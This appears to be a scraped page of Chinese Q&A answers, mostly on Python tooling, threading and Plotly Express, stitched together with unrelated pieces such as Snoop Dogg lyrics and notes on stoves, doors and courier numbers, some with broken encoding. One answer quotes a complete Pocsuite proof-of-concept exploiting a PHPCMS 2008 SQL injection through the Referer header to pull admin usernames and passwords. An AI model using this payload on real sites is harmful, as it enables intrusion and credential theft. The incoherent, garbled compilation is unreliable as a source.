pyt

一、安装GitHub插件在设置里面有一个plugins（插件）选项，首先检查一下，是否有相关的插件，如果没有，需要下载。IDE集成度比较高，GitHub插件应该都有。二、检查本地是否安装git和ssh目前的Yosemite版本Git和ssh应该都是默认提供的，然而

INPYT FREQUENCY60-50HZ输入频率60-50赫兹

支持的首先安装python-2.7.6.amd64.msi，具体的配置步骤这里就不细说了，百度一下就解决了。 紧接着就是安装pycharm-professional-4.0.4.exe，这是一个python编辑器,比官方的编辑器好用得多,可以自动代码补全,还能调试运行，功能非常丰富! 再跟着就是安装PyQt4-4.11.2-gpl-Py2.7-Qt4.8.6-x64.exe,其实pyqt与C++的qt差不多的,用法都非常相似! 接着安装cx_Freeze-4.3.3.win-amd64-py2.7.msi,这个是用来打包Python程序为exe运行文件来用的，当然你也可以用其他的打包工具，但是我极力推荐这个。 最后要安装chardet-1.0.1-py2.5.egg.rar，这个是跟Python对文件的编码检测的一个开发包,百度一下就有地方下载了,python对文本处理非常强大,有它非常方便! 磨刀不误砍柴工,正式开工: 用pyqt4的界面设计工具–qt设计师，进行界面开发如下图: pyqt4的界面设计工具非常简单易用,只要你用别的软件进行过控件开发,那么这个自然就会了! 如果还不明白就可以看“PyQt4 精彩实例分析(语法高亮带书签).pdf”,里面包含了很多示例。 界面设计完成后,保存得到以ui为后缀的文件,我的为“mainText.ui”,“configText.ui”两个文件，有了界面文件就要转换成Python能调用的包，具体转换的方法看“PyQt4精彩实例分析(语法高亮带书签).pdf”中的示例。我的是分别转换成两个文件“ConfigText.py”，“SuperProcessText.py”。 至此开始正式编码的工作，主窗口运行文件是superTextProcessTool.py，配置窗口的运行文件是ConfigTextTool.py。 对于文件编码转换，控件之间如何调用，如何处理消息，都有了完整的示例，界面是仿照网上的一个软件做出来的-“超级文本处理工具”做出来的。如果碰到不懂的函数，那么可以查看“PyQt4.chm”，它包含了Pytqt4所有的函数说明!

　　一、对于你的问题，首先明确测试类型，然后才能明确自动化测试类型，最后定位哪个类型用哪个方面的自动化测试工具。　　1、测试类型可以包括：白盒测试、黑盒测试（功能测试、性能测试）等。　　2、不同的测试类型使用的自动化测试方法不同，白盒测试主要针对代码级的单元测试、黑盒测试主要面对功能级和系统级的验证测试。　　3、自动化测试，针对白盒测试，一般需要有一定的编程基础，即能够基于功能代码写测试代码，常用的单元测试方面的自动化测试工具很多，上网一搜全是。　　4、自动化测试，针对功能测试，有几种情况，基于CLI、API和GUI的测试；基于CLI、API的测试，即应用脚本技术向设备模拟发送CLI命令或者API请求，以达到控制设备的效果。基于GUI功能测试，即应用传统的界面自动化测试工具(例如：RFT、QTP等）控制界面控件操作的方法，以达到模拟用户操作，这几种方式都需要你有一定的编码基础；基于CLI、API的需要你懂脚本技术（例如:tcl、python、ruby等），RFT需要你懂java或者.net、QTP需要VB等。　　5、你说的loadrunner就是性能测试方面的工具，即是测试软件性能、例如多用户操作等性能、也需要写代码，LR脚本支持的语言有：java、c、Visual Basic、vbscrīpt。默认的脚本生成语言为 C;其实我想说的是，性能测试工具不重要，你需要掌握其性能测试的方法才是更重要的。　　二、我感觉你想入门自动化测试，但是从你问的问题来看，有一定盲目性，我简单说一下自动化测试吧。　　1、自动化测试，其理念就是应用各种手段模拟人工操作，节省人力测试成本，保证产品测试质量。　　2、你想学好自动化软件测试，不是单单靠学习几个自动化工具就能掌握的，但是你可以从工具入手，首先，告诉你自动化测试的基础是：　　1）编程技巧，包括高级语言和脚本语言，脚本语言是初期的掌握，可以有，tcl、phython、ruby等而高级语言，要好好学好一门，例如，我是对java为重点。还有，如果你是对web自动化测试的话，那么jsp、php、HTML、CSS等web语言是必须掌握的。　　2）操作系统技巧；因为软件自动化测试是构建在操作系统上的，其技巧需要能善于利用到操作系统的各种技巧，例如：注册表、环境变量、句柄等。　　3）数据库知识，要善于利用数据库知识去存储管理。　　4）业务知识，这也是重点。你所在软件行业的软件业务，要知道你的软件的工作方式。　　5）质量与流程管理理念。　　然后，你的学习步骤：　　1）可以从工具入手，根据具体的项目去学习；例如：java软件界面测试（RFT、QTP的java插件等）、web界面测试（QTP、selenium等）、性能测试（RPT、loadrunner等）。但记住，学习其工具，重点不是简单的使用，而是如何利用工具去扩展。　　2）然后，重点学习以上的基础，以编程为重点，其余的结合学习，顺便说一句，其实自动化测试的理念与软件设计模式理念很像，你可以从中有所领悟。　　3）之后，再学习去拓建自己的自动化测试框架，何谓框架，一下说不清楚，我给你推荐一下。　　注意：如果没有自动化测试方面的实践项目的话，最好先从基础学起，因为基础学好了，自动化测试入门会很快的。　　4（至于性能测试，也是一样，可以先从工具入手，但不要局限于工具，性能测试最重要的是环境的构建方法以及对测试结果的分析方法，所以性能测试重点在于分析和实现过程，而不是工具使用过程。

PyInstaller 是一个用来将 Python 程序打包成一个独立可执行软件包，支持 Windows、Linux 和 Mac OS X。下载https://github.com/pyinstaller/pyinstaller/2. 使用python制作exe可执行文件的方法---使用pyinstaller  python生成windows下exe格式的可执行程序有三种可选方案： py2exe是大家所熟知的，今天要介绍pyinstaller， 这个工具全平台可用。我曾使用python制作一个工具程序供公司同事使用后，由于公司使用mac linux windows都有很多，就使用过它来将程序做成可执行文件，兼容性好，只是会使得程序在linux平台和mac平台启动较慢（windows还是比较快的），但基本够用。 安装完pyinstaller之后就可以开始了。  1.使用pyinstaller生成可执行文件的方法    1.1 将依赖文件集中到一个文件夹：          pyinstaller -D -w main.py      #把main.py替换成你的主入口python文件即可。           -w参数代表main.py是一个窗体程序。    1.2  将所有依赖文件都打包到同一个可执行文件中：          pyinstaller -F -w  main.py   2.调查pyinstaller生成程序的加载过程    使用如下命令，可以得到运行时的跟踪，tracing ，loader  的加载过程。     pyinstaller -Fwd aui.py   #把aui.py 换成你需要侦测的文件即可。

电脑上面设置的，他是通过电脑配置读取出来的

以安装Httplib2模块为例1下载模块到百度去搜一下”下载一款适合你的压缩包“httplib2-0.4.0.zip”2解压下载的压缩包“httplib2-0.4.0.zip”到某目录下3配置python在dos下的运行环境（之前需要配置系统环境变量，在系统环境变量Path后添加pyt...

其实python确实是新手最好入门的一种语言，我建议可以去看看中公的视频吧，晚上百度一下应该就有，这样你对这门语音应该可以有一个很好的认识。

本身可以处理 中文前面加#!/usr/bin/python# -*- coding: UTF-8 -*-或者#!/usr/bin/python#coding=utf-8

python文件后缀一般有两个，分别是.py和.pyw。视窗用 python.exe 运行 .py，用 pythonw.exe 运行 .pyw 。这纯粹是因为安装视窗版Python时，扩展名 .py 自动被登记为用 python.exe 运行的文件，而 .pyw 则被登记为用 pythonw.exe 运行。相关推荐：《Python教程》.py 和 .pyw 之间的“其它差别”全都是 python.exe 和 pythonw.exe 之间的差别。跟 python.exe 比较起来，pythonw.exe 有以下的不同：（1）执行时不会弹出控制台窗口（也叫 DOS 窗口）。（2）所有向原有的 stdout 和 stderr 的输出都无效。（3）所有从原有的 stdin 的读取都只会得到 EOF。.pyw 格式是被设计来运行开发完成的纯图形界面程序的。纯图形界面程序的用户不需要看到控制台窗口。值得一提的是，开发纯图形界面程序的时候，你可以暂时把 .pyw 改成 .py，以便运行时能调出控制台窗口，看到所有错误信息，方便解决错误。

python并不是虚拟机，运行python文件的是python解释器。python解释器的工作原理如下： 一、过程概述1、python先把代码(.py文件)编译成字节码，交给字节码虚拟机，然后虚拟机会从编译得到的PyCodeObject对象中一条一条执行字节码指令，并在当前的上下文环境中执行这条字节码指令，从而完成程序的执行。Python虚拟机实际上是在模拟操作中执行文件的过程。PyCodeObject对象中包含了字节码指令以及程序的所有静态信息，但没有包含程序运行时的动态信息——执行环境（PyFrameObject）2、字节码在python虚拟机程序里对应的是PyCodeObject对象；.pyc文件是字节码在磁盘上的表现形式。3、从整体上看：OS中执行程序离不开两个概念：进程和线程。python中模拟了这两个概念，模拟进程和线程的分别是PyInterpreterState和PyTreadState。即：每个PyThreadState都对应着一个帧栈，python虚拟机在多个线程上切换。当python虚拟机开始执行时，它会先进行一些初始化操作，最后进入PyEval_EvalFramEx函数，它的作用是不断读取编译好的字节码，并一条一条执行，类似CPU执行指令的过程。函数内部主要是一个switch结构，根据字节码的不同执行不同的代码。推荐学习《python教程》二、关于.pyc文件PyCodeObject对象的创建时机是模块加载的时候，即import。1、执行 python test.py 会对test.py进行编译成字节码并解释执行，但不会生成test.pyc2、如果test.py中加载了其他模块，如import urllib2，那么python会对urllib2.py进行编译成字节码，生成urllib2.pyc，然后对字节码解释执行。3、如果想生成test.pyc，我们可以使用python内置模块py_compile来编译。也可以执行命令 python -m test.py 这样，就生成了test.pyc4、加载模块时，如果同时存在.py和.pyc，python会使用.pyc运行，如果.pyc的编译时间早于.py的时间，则重新编译.py，并更新.pyc文件。

Why Did You Leave Me" [Snoop Dogg] Bada-bing, bada-boom, what a dogg gotta do? Let me holler at you boo, damn I miss you I just wanna kiss you, and all that good stuff Was I really all that bad or was I good enough? I"m under pressure, I can"t run plays like this My mama always said that there"ll be days like this I"m all alone by the phone, in a zone, face is stone Wonderin", if you ever comin" home I try to run the streets and play But that feeling just won"t go away My whole life I"d throw away, to get you back on my team Damn, why"d you have to go away? [Chorus] I miss your breakfast in the mornin" Miss you in the evenin", tell me why you"re leavin" Please give me a reason, nothin" could ever change me I"m missin" my baby, think I"m goin" crazy (Why did you leave me?) You can"t leave me by myself like this You can"t leave me by myself like this (Why did you leave me?) You can"t leave me by myself like this Mama told me there"ll be days like this [Snoop Dogg] I get up early in the mornin", miss your rudeness and kissin" I also miss that smell of that good breakfast in the kitchen Listen, I"m a star but I"m wishin" To follow you wherever you are You the wheels to my car, and I can"t roll with you My heart is a ice box, it"s cold without you Why"d you have to, leave me this way? I"m doin" bad, you don"t wanna see me this way I"m at the pad, tryin" to do my best I"m so stressed, and yes I"m still the King of the West Tryin" to manage, and I"m gon" handle it I need you back in my life, "cause I"m tired of livin" scandalous [Chorus] I miss your breakfast in the mornin" Miss you in the evenin", tell me why you"re leavin" Please give me a reason, nothin" could ever change me I"m missin" my baby, think I"m goin" crazy (Why did you leave me?) You can"t leave me by myself like this You can"t leave me by myself like this (Why did you leave me?) You can"t leave me by myself like this Mama told me there"ll be days like this [Snoop Dogg] Oh my Lord, I"m sittin" at the board with my head down I can"t write my next line, I need to lay it down Hmm, I"m stuck like a dump truck Lookin" stupid, cupid down on my luck I touch a four leaf clover Hopin" for somethin" good, like I should If not I guess it"s over Baby be real with it Do you love me, do you miss me? I can"t deal with it [Chorus] I miss your breakfast in the mornin" Miss you in the evenin", tell me why you"re leavin" Please give me a reason, nothin" could ever change me I"m missin" my baby, think I"m goin" crazy (Why did you leave me?) You can"t leave me by myself like this You can"t leave me by myself like this (Why did you leave me?) You can"t leave me by myself like this Mama told me there"ll be days like this

python，入门就是python简单一些，还是用，可以学会一门再去学别的语言

不是。第一条件满足继续执行，不满足就不会执行。Python条件语句是通过一条或多条语句的执行结果（True或者False）来决定执行的代码块。Python提供了高效的高级数据结构，还能简单有效地面向对象编程。Python语法和动态类型，以及解释型语言的本质，使它成为多数平台上写脚本和快速开发应用的编程语言。

是指灶具热负荷(俗称火力),它是衡量老百姓关心的燃气灶火力大小的一个最重要参数.俗称火力的热... 对灶具的热效率无法判断时,在不影响正常使用的情况下,

打开python控制台的方法：1、按下键盘上的【win+r】快捷键打开运行；2、在输入框中输入cmd，点击【确定】；3、在打开的命令提示符中执行python命令，这样就成功打开python控制台了。具体方法：（推荐教程：Python入门教程）1、按下键盘上的【win+r】快捷键打开运行；2、在输入框中输入cmd，点击【确定】；3、在打开的命令提示符中执行python命令，这样就成功打开python控制台了。

forgn 是 foreignPYT是 Payment总起来是外币付款的意思

pyt是prettyyoungthing的缩写，意思有很多：1.年轻漂亮的东西；2.酸酸甜甜就是我3.优秀的年轻人.youcanbemypyt整句的意思为：你可以帮我pyt。pyt要根据语境来确定其意思

开启python软件的方法：打开cmd命令窗口，进入python的安装目录输入“python.exe”命令就可以开启python了想了解更多python知识，请观看Python入门教程（黑马程序员）！！

高光门好。高光门它光泽度好，门表面的灰尘好打理，擦拭起来轻松。

你确认一下单号。如果是p开头的，应该没有这种格式的单号，你可以联系一下寄件人。如果没有p开头的。应该是圆通快递。信息如下。

如果一个函数直接或者间接调用了自己，那么就形成了递归（recursion），比如斐波那契数列的一个实现def fib(n):    if n <= 2:        return 1    else:        return fib(n - 1) + fib(n - 2)递归一定要有结束条件，否则就形成了死循环， 比如下面的例子：def a():b()def b():a() if __name__ == "__main__":a()

def vote(stra): yesstr=["yes","y"] nostr=["no","n"] abstainedstr=["abstained","a"] count=0 yescount=0 stra=stra.replace(","," ") for i in stra.split(): lowerstr=i.lower() if lowerstr in yesstr: yescount+=1 count+=1 elif lowerstr in nostr: count+=1 if yescount==count: return "proposal passes unanimously" if yescount*1.0/count>=2.0/3.0: return "proposal passes with super majority" if yescount*1.0/count>=0.5: return "proposal passes with simple majority" return "proposal fails"if __name__=="__main__": stra=raw_input("Enter the yes,no,abstained votes one by one and the press enter: ") print vote(stra)

kaisa说的对。再解释一下。 Model通常是指模型。这个模型也许是你需求分析出来的， 也许是你算法做出来的。 不过最大可能是MVC的网站，或者是GUI开发模式中的M里的那个模型。所以什么时候用Model取决于你要做什么。以前你打算花长时间做。如果做很短的项目可以不用Model。如果超过1天时间的项目，还是可以用Model的。 这时就要按你所使用的框架，设计你的MODEL。Module是指模块，这个概念最早是从结构化编程里来的。 简单说就是一个独立的python程序文件。可以被其它的程序import方式来使用。 这个东西大多数情形下都会用的。只要程序超过50行左右通常会独立建立一个Module，这是一个好的编程习惯。也有1千行都是一个文件的程序员。 编写的程序也未必就是差的。 这个主要还是自己的把控能力。 本人习惯将思维限制在一个小范围里，所以会每想好一个问题，就做成一个单元，module，并独立测试。以后重复使用。

TypeError: tuple indices must be integers or slices, not str 翻译过来： 类型错误：元组索引必须是整数或切片，而不是字符串。解决方案： 将字符串换成整数

下载高清视频推荐 you-get 库 如果可以的话把爬取的url发下或者私密我试一试看看怎么写

提示很清晰索引应该是整数 或者 切片不能是 字符串

name=""whilenotname:x0dx0ax0dx0aname=raw_input(u"请输入姓名:")x0dx0aprintnamex0dx0ax0dx0apython中的not具体表示是什么:x0dx0a在python中not是逻辑判断词，用于布尔型True和False，notTrue为False，notFalse为True，以下是几个常用的not的用法：x0dx0a(1)not与逻辑判断句if连用，代表not后面的表达式为False的时候，执行冒号后面的语句。比如：x0dx0aa=Falsex0dx0aifnota:(这里因为a是False，所以nota就是True)x0dx0aprint"hello"x0dx0a这里就能够输出结果hellox0dx0a(2)判断元素是否在列表或者字典中，ifanotinb，a是元素，b是列表或字典，这句话的意思是如果a不在列表b中，那么就执行冒号后面的语句，比如：x0dx0aa=5x0dx0ab=[1,2,3]x0dx0aifanotinb:x0dx0aprint"hello"x0dx0a这里也能够输出结果hello

Membership test operationsFor container types such as list, tuple, set, frozenset, dict, or collections.deque, the expression x in y is equivalent to any(x is e or x == e for e in y).For the string and bytes types, x in y is True if and only if x is a substring of y. An equivalent test is y.find(x)!= -1. Empty strings are always considered to be a substring of any other string, so "" in "abc" will return True.翻译：对容器类型，例如list、tuple、set、frozenset、dict或collections.deque，表达式x in y等价于any(x is e or x == e for e in y)。对字符串和bytes类型，x in y为真当且仅当x是y的子串。等价测试为y.find(x) != -1。空字符串永远被视作是其他任何字符串的子集，因此"" in "abc"将返回True。

"ab"in"abcde"在python中是对的。"ab"在"abcde"中存在，前面两个就是"ab"，只能连续取，不能间隔取。

Plotly Express 是一个新的高级 Python 可视化库：它是 Plotly.py 的高级封装，它为复杂的图表提供了一个简单的语法。 受 Seaborn 和 ggplot2 的启发，它专门设计为具有简洁，一致且易于学习的 API ：只需一次导入，您就可以在一个函数调用中创建丰富的交互式绘图，包括分面绘图（faceting）、地图、动画和趋势线。 它带有数据集、颜色面板和主题，就像 Plotly.py 一样。 Plotly Express 完全免费：凭借其宽松的开源 MIT 许可证，您可以随意使用它（是的，甚至在商业产品中！）。 最重要的是，Plotly Express 与 Plotly 生态系统的其他部分完全兼容：在您的 Dash 应用程序中使用它，使用 Orca 将您的数据导出为几乎任何文件格式，或使用JupyterLab 图表编辑器在 GUI 中编辑它们！ 用 pip install plotly_express 命令可以安装 Plotly Express。 一旦导入Plotly Express（通常是 px ），大多数绘图只需要一个函数调用，接受一个整洁的Pandas dataframe，并简单描述你想要制作的图。 如果你想要一个基本的散点图，它只是 px.scatter（data，x =“column_name”，y =“column_name”）。 以下是内置的 Gapminder 数据集的示例，显示2007年按国家/地区的人均预期寿命和人均GDP 之间的趋势：如果你想通过大陆区分它们，你可以使用 color 参数为你的点着色，由 px 负责设置默认颜色，设置图例等：这里的每一点都是一个国家，所以也许我们想要按国家人口来衡量这些点...... 没问题：这里也有一个参数来设置，它被称为 size：如果你好奇哪个国家对应哪个点？ 可以添加一个 hover_name ，您可以轻松识别任何一点：只需将鼠标放在您感兴趣的点上即可！ 事实上，即使没有 hover_name ，整个图表也是互动的：也可以通过 facet_col =”continent“ 来轻松划分各大洲，就像着色点一样容易，并且让我们使用 x轴 对数（log_x）以便在我们在图表中看的更清晰：也许你不仅仅对 2007年 感兴趣，而且你想看看这张图表是如何随着时间的推移而演变的。 可以通过设置 animation_frame=“year” （以及 animation_group =“country” 来标识哪些圆与控制条中的年份匹配）来设置动画。 在这个最终版本中，让我们在这里调整一些显示，因为像“gdpPercap” 这样的文本有点难看，即使它是我们的数据框列的名称。 我们可以提供更漂亮的“标签” （labels），可以在整个图表、图例、标题轴和悬停（hovers）中应用。 我们还可以手动设置边界，以便动画在整个过程中看起来更棒：因为这是地理数据，我们也可以将其表示为动画地图，因此这清楚地表明 Plotly Express 不仅仅可以绘制散点图（不过这个数据集缺少前苏联的数据）。事实上，Plotly Express 支持三维散点图、三维线形图、极坐标和地图上三元坐标以及二维坐标。 条形图（Bar）有二维笛卡尔和极坐标风格。 进行可视化时，您可以使用单变量设置中的直方图（histograms）和箱形图（box）或小提琴图（violin plots），或双变量分布的密度等高线图（density contours）。 大多数二维笛卡尔图接受连续或分类数据，并自动处理日期/时间数据。 可以查看我们的图库 (ref-3) 来了解每个图表的例子。数据 探索 的主要部分是理解数据集中值的分布，以及这些分布如何相互关联。 Plotly Express 有许多功能来处理这些任务。 使用直方图（histograms），箱形图（box）或小提琴图（violin plots）可视化单变量分布： 直方图：箱形图：小提琴图： 还可以创建联合分布图（marginal rugs），使用直方图，箱形图（box）或小提琴来显示双变量分布，也可以添加趋势线。 Plotly Express 甚至可以帮助你在悬停框中添加线条公式和R²值！ 它使用 statsmodels 进行普通最小二乘（OLS）回归或局部加权散点图平滑（LOWESS）。在上面的一些图中你会注意到一些不错的色标。 在 Plotly Express 中， px.colors 模块包含许多有用的色标和序列：定性的、序列型的、离散的、循环的以及所有您喜欢的开源包：ColorBrewer、cmocean 和 Carto 。 我们还提供了一些功能来制作可浏览的样本供您欣赏（ref-3）： 定性的颜色序列：众多内置顺序色标中的一部分：我们特别为我们的交互式多维图表感到自豪，例如散点图矩阵（SPLOMS）、平行坐标和我们称之为并行类别的并行集。 通过这些，您可以在单个图中可视化整个数据集以进行数据 探索 。 在你的Jupyter 笔记本中查看这些单行及其启用的交互：散点图矩阵（SPLOM）允许您可视化多个链接的散点图：数据集中的每个变量与其他变量的关系。 数据集中的每一行都显示为每个图中的一个点。 你可以进行缩放、平移或选择操作，你会发现所有图都链接在一起！平行坐标允许您同时显示3个以上的连续变量。 dataframe 中的每一行都是一行。 您可以拖动尺寸以重新排序它们并选择值范围之间的交叉点。并行类别是并行坐标的分类模拟：使用它们可视化数据集中多组类别之间的关系。 Plotly Express 之于 Plotly.py 类似 Seaborn 之于 matplotlib：Plotly Express 是一个高级封装库，允许您快速创建图表，然后使用底层 API 和生态系统的强大功能进行修改。 对于Plotly 生态系统，这意味着一旦您使用 Plotly Express 创建了一个图形，您就可以使用Themes，使用 FigureWidgets 进行命令性编辑，使用 Orca 将其导出为几乎任何文件格式，或者在我们的 GUI JupyterLab 图表编辑器中编辑它 。 主题（Themes）允许您控制图形范围的设置，如边距、字体、背景颜色、刻度定位等。 您可以使用模板参数应用任何命名的主题或主题对象：有三个内置的 Plotly 主题可以使用， 分别是 plotly， plotlywhite 和 plotlydark。 px 输出继承自 Plotly.py 的 Figure 类 ExpressFigure 的对象，这意味着你可以使用任何 Figure 的访问器和方法来改变 px生成的绘图。 例如，您可以将 .update（） 调用链接到 px 调用以更改图例设置并添加注释。 .update（） 现在返回修改后的数字，所以你仍然可以在一个很长的 Python 语句中执行此操作：在这里，在使用 Plotly Express 生成原始图形之后，我们使用 Plotly.py 的 API 来更改一些图例设置并添加注释。 Dash 是 Plotly 的开源框架，用于构建具有 Plotly.py 图表的分析应用程序和仪表板。Plotly Express 产生的对象与 Dash 100％兼容，只需将它们直接传递到 dash_core_components.Graph，如下所示： dcc.Graph（figure = px.scatter（...））。 这是一个非常简单的 50行 Dash 应用程序的示例，它使用 px 生成其中的图表：这个 50 行的 Dash 应用程序使用 Plotly Express 生成用于浏览数据集的 UI 。 可视化数据有很多原因：有时您想要提供一些想法或结果，并且您希望对图表的每个方面施加很多控制，有时您希望快速查看两个变量之间的关系。 这是交互与 探索 的范畴。 Plotly.py 已经发展成为一个非常强大的可视化交互工具：它可以让你控制图形的几乎每个方面，从图例的位置到刻度的长度。 不幸的是，这种控制的代价是冗长的：有时可能需要多行 Python 代码才能用 Plotly.py 生成图表。 我们使用 Plotly Express 的主要目标是使 Plotly.py 更容易用于 探索 和快速迭代。 我们想要构建一个库，它做出了不同的权衡：在可视化过程的早期牺牲一些控制措施来换取一个不那么详细的 API，允许你在一行 Python 代码中制作各种各样的图表。 然而，正如我们上面所示，该控件并没有消失：你仍然可以使用底层的 Plotly.py 的 API 来调整和优化用 Plotly Express 制作的图表。 支持这种简洁 API 的主要设计决策之一是所有 Plotly Express 的函数都接受“整洁”的 dataframe 作为输入。 每个 Plotly Express 函数都体现了dataframe 中行与单个或分组标记的清晰映射，并具有图形启发的语法签名，可让您直接映射这些标记的变量，如 x 或 y 位置、颜色、大小、 facet-column 甚至是 动画帧到数据框（dataframe）中的列。 当您键入 px.scatter（data，x ="col1"，y="col2"） 时，Plotly Express 会为数据框中的每一行创建一个小符号标记 - 这就是 px.scatter 的作用 - 并将 “col1” 映射到 x 位置（类似于 y 位置）。 这种方法的强大之处在于它以相同的方式处理所有可视化变量：您可以将数据框列映射到颜色，然后通过更改参数来改变您的想法并将其映射到大小或进行行分面（facet-row）。 接受整个整洁的 dataframe 的列名作为输入（而不是原始的 numpy 向量）也允许 px 为你节省大量的时间，因为它知道列的名称，它可以生成所有的 Plotly.py 配置用于标记图例、轴、悬停框、构面甚至动画帧。 但是，如上所述，如果你的 dataframe 的列被笨拙地命名，你可以告诉 px 用每个函数的 labels 参数替换更好的。 仅接受整洁输入所带来的最终优势是它更直接地支持快速迭代：您整理一次数据集，从那里可以使用 px 创建数十种不同类型的图表，包括在 SPLOM 中可视化多个维度 、使用平行坐标、在地图上绘制，在二维、三维极坐标或三维坐标中使用等，所有这些都不需要重塑您的数据！ 在 API 级别，我们在 px 中投入了大量的工作，以确保所有参数都被命名，以便在键入时最大限度地发现：所有 scatter -类似的函数都以 scatter 开头（例如 scatter_polar， scatter_ternary）所以你可以通过自动补全来发现它们。 我们选择拆分这些不同的散点图函数，因此每个散点图函数都会接受一组定制的关键字参数，特别是它们的坐标系。 也就是说，共享坐标系的函数集（例如 scatter， line ＆ bar，或 scatter_polar， line_polar 和 bar_polar ）也有相同的参数，以最大限度地方便学习。 我们还花了很多精力来提出简短而富有表现力的名称，这些名称很好地映射到底层的 Plotly.py 属性，以便于在工作流程中稍后调整到交互的图表中。 最后，Plotly Express 作为一个新的 Python 可视化库，在 Plotly 生态系统下，将会迅速发展。所以不要犹豫，立即开始使用 Plotly Express 吧！

你截图也不截代码，看不出你的排列，可能是把绘图写到for循环里面去了，还好我今天比较闲帮你重排了下，按照我这样排就没有问题了：

第一步，先将python代码采用jupyter notebook编辑器打开，此时的输出会以表格的形式输出。第二步，在jupyter notebook编辑器内，再将表格式的输出复制到excel表格内，而且可去掉小数中多余的0。第三步，在excel表格文件内，如果需要转置，可以在复制的时候右键选择【选择性粘贴】→【转置】即可。

[1] urlRoot声明RESTful资源位置有两种形式：/task 和 /task/id，urlRoot是第一种形式，第二种形式backbone会自动做url的构造[2] save方法没有id，使用POST请求，有id使用PUT或PATCH请求。

我有这本书的英文，中文目前没有，以后考虑翻译了它。

其实吧，无论乌云的Tangscan也好，知道创宇的Pocsuite也好，还有Beebeeto也好（Bugscan没写过，不是特别了解不过应该差不多），关于Web的Poc和Exp，都极度依赖于两个Python库。1. Requests ： 模拟Web的请求和响应等交互动作。2. Re ： 正则表达式，用来验证返回的结果是否符合漏洞的预期，从而验证漏洞是否存在。其余的大部分代码都是漏洞的信息。以Pocsuite和Tangscan为例：Pocsuite官方文档例子：#!/usr/bin/env python# coding: utf-8import reimport urlparsefrom pocsuite.net import reqfrom pocsuite.poc import POCBase, Outputfrom pocsuite.utils import registerclass TestPOC(POCBase): vulID = "62274" # ssvid version = "1" author = ["Medici.Yan"] vulDate = "2011-11-21" createDate = "2015-09-23" updateDate = "2015-09-23" references = ["http://www.sebug.net/vuldb/ssvid-62274"] name = "_62274_phpcms_2008_place_sql_inj_PoC" appPowerLink = "http://www.phpcms.cn" appName = "PHPCMS" appVersion = "2008" vulType = "SQL Injection" desc = """ phpcms 2008 中广告模块，存在参数过滤不严， 导致了sql注入漏洞，如果对方服务器开启了错误显示，可直接利用， 如果关闭了错误显示，可以采用基于时间和错误的盲注 """ samples = ["http://10.1.200.28/"] def _attack(self): result = {} vulurl = urlparse.urljoin(self.url, "/data/js.php?id=1") payload = "1", (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(char(45,45),username,char(45,45,45),password,char(45,45)) from phpcms_member limit 1))a from information_schema.tables group by a)b), "0")#" head = { "Referer": payload } resp = req.get(vulurl, headers=head) if resp.status_code == 200: match_result = re.search(r"Duplicate entry "1--(.+)---(.+)--" for key", resp.content, re.I | re.M) if match_result: result["AdminInfo"] = {} result["AdminInfo"]["Username"] = match_result.group(1) result["AdminInfo"]["Password"] = match_result.group(2) return self.parse_attack(result) def _verify(self): result = {} vulurl = urlparse.urljoin(self.url, "/data/js.php?id=1") payload = "1", (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2), md5(1))a from information_schema.tables group by a)b), "0")#" head = { "Referer": payload } resp = req.get(vulurl, headers=head) if resp.status_code == 200 and "c4ca4238a0b923820dcc509a6f75849b" in resp.content: result["VerifyInfo"] = {} result["VerifyInfo"]["URL"] = vulurl result["VerifyInfo"]["Payload"] = payload return self.parse_attack(result) def parse_attack(self, result): output = Output(self) if result: output.success(result) else: output.fail("Internet nothing returned") return outputregister(TestPOC)可以看到从代码11到28行都是漏洞的一些信息，真正的功能函数只有_attack和_verify两个而已。甚至这个例子有点繁琐了，现在大大们都是把exploit写在verify里面，所以真正起到功能的，也就不到十行的代码。http://pocsuite.net这个库其实就是Requests。用Requests模拟手工注入的Post提交，用正则匹配提取和验证必要信息，简单说起来就是这两个步骤。这么一来你再看看其他的由Python写的Poc和Exp就大同小异了。Poc/Exp总的说来就只是用程序代替手工的过程而已，所以了解了漏洞的原理和认证方法之后就简单了。

花了2个多小时终于编译安装好了openbabel的python接口。 整理要点如下： PYTHON_BINDINGS用来开启python接口的编译 CMAKE_INSTALL_PREFIX用来指定openbabel将要安装的路径 EIGEN3_INCLUDE_DIR用来指定在上一步安装的eigen的路径 其中babel_installation_path是openbabel的安装路径。 可选择将上述语句加入到 ~/.bashrc 文件。

threading.active_count()Return the number of Thread objects currently alive. The returned count is equal to the length of the list returned by enumerate().active_count可以返回当前活动的线程枚举我一般是这么用的def getHeatsParallel(self): threads = [] for i in range(0, self.threadCount): t = threading.Thread(target=self.SomeFunction, name=str(i)) threads.append(t) t.start() for t in threads: t.join()

#coding=utf-8import threadingfrom time import ctime,sleepres = []def add(list_num):    print list_numif __name__ == "__main__":    threads = []    list_num = []    for i in range(1,101):        if len(list_num)==30:            t = threading.Thread(target=add,args=(list_num,))            threads.append(t)            list_num=[]        else:            list_num.append(i)    if list_num:        t = threading.Thread(target=add,args=(list_num,))        threads.append(t)    for t in threads:        t.setDaemon(True)        t.start()

用多线程并行处理while，需要 print x的话，用列队获取。考虑多线程，开一个线程来无限累加。import threading##多线程def a:while True:print("hello")def b:print("xxxx")threads=[]扩展资料：Python 是一门有条理的和强大的面向对象的程序设计语言，类似于Perl, Ruby, Scheme, Java。自从20世纪90年代初Python语言诞生至今，它已被逐渐广泛应用于系统管理任务的处理和Web编程。Python在设计上坚持了清晰划一的风格，这使得Python成为一门易读、易维护，并且被大量用户所欢迎的、用途广泛的语言。参考资料：百度百科-Python

首先你要搞清楚进程和线程的关系：线程是最小的执行单元，而进程由至少一个线程组成。multiprocessing模块是一个跨平台版本的多进程模块。该模块提供了process类来代表一个进程对象。Process构造方法__init__(self, group=None, target=None, name=None, args=(), kwargs={})参数说明：group：进程所属组。基本不用target：表示调用对象或方法名称。args：表示调用对象的位置参数元组。name：别名kwargs：表示调用对象的字典。示例代码如下：threading本身就可以创建多个线程：hreads = []#定义一个线程池t1 = threading.Thread(target=one,args=(,))#建立一个线程并且赋给t1，这个线程指定调用方法one，并且不带参数threads.append(t1)#把t1线程装到threads线程池里t2 = threading.Thread(target=two)threads.append(t2)t3 = threading.Thread(target=three)threads.append(t3)这时threads这个列表中就有三个线程装在里面了。下面就是运行这个线程池里面的线程for t in threads:用一个for语句遍历threads里的线程，然后调用start()方法运行注意t.join()必须放在for语句外面。

